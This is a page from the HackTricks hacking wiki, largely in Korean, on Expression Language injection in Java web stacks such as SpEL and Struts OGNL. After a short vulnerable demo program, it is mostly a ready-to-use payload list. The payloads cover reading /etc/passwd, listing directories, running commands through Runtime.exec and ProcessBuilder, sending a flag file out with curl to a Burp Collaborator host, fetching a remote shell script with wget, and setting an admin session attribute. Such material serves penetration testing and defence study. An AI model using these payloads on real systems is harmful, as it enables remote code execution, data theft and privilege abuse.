EL - Expression Language

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Bsic Info

Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(예: 웹 페이지)와 애플리케이션 로직(예: 관리되는 빈) 간의 상호작용을 가능하게 하는 중요한 요소입니다. 주로 다음에서 사용됩니다:

• JavaServer Faces (JSF): UI 구성 요소를 백엔드 데이터/작업에 바인딩하기 위해.

• JavaServer Pages (JSP): JSP 페이지 내에서 데이터 접근 및 조작을 위해.

• Contexts and Dependency Injection for Java EE (CDI): 관리되는 빈과의 웹 레이어 상호작용을 촉진하기 위해.

사용 맥락:

• Spring Framework: Security 및 Data와 같은 다양한 모듈에서 적용됩니다.

• 일반 사용: Java, Kotlin, Scala와 같은 JVM 기반 언어의 개발자들이 SpEL API를 통해 사용합니다.

EL은 JavaEE 기술, 독립 실행 환경에 존재하며, .jsp 또는 .jsf 파일 확장자, 스택 오류 및 헤더의 "Servlet"과 같은 용어를 통해 인식됩니다. 그러나 특정 기능과 특정 문자의 사용은 버전에 따라 다를 수 있습니다.

EL 버전에 따라 일부 기능이 켜져 있거나 꺼져 있을 수 있으며, 일반적으로 일부 문자는 허용되지 않을 수 있습니다.

Basic Example

(EL에 대한 또 다른 흥미로운 튜토리얼은 https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/에서 찾을 수 있습니다.)

다음 jar 파일을 Maven 저장소에서 다운로드합니다:

• commons-lang3-3.9.jar

• spring-core-5.2.1.RELEASE.jar

• commons-logging-1.2.jar

• spring-expression-5.2.1.RELEASE.jar

그리고 다음 Main.java 파일을 생성합니다:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

다음으로 코드를 컴파일합니다 (만약 javac가 설치되어 있지 않다면, sudo apt install default-jdk를 설치하세요):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

애플리케이션을 다음과 같이 실행하십시오:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Note how in the previous example the term {5*5} was evaluated.

CVE 기반 튜토리얼

Check it in this post: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

페이로드

기본 작업

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Detection

• Burp 탐지

gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

• J2EE 탐지

#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

• 10초 대기

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

원격 파일 포함

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

디렉토리 목록

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

• 기본 RCE 설명

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

• RCE 리눅스

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• RCE Windows (테스트되지 않음)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• 더 많은 RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

환경 검사

• applicationScope - 전역 애플리케이션 변수

• requestScope - 요청 변수

• initParam - 애플리케이션 초기화 변수

• sessionScope - 세션 변수

• param.X - X가 http 매개변수의 이름인 매개변수 값

이 변수들을 String으로 캐스팅해야 합니다:

${sessionScope.toString()}

권한 우회 예시

${pageContext.request.getSession().setAttribute("admin", true)}

애플리케이션은 다음과 같은 사용자 정의 변수를 사용할 수 있습니다:

${user}
${password}
${employee.FirstName}

WAF 우회

Check https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

References

• https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/

• https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools

• https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.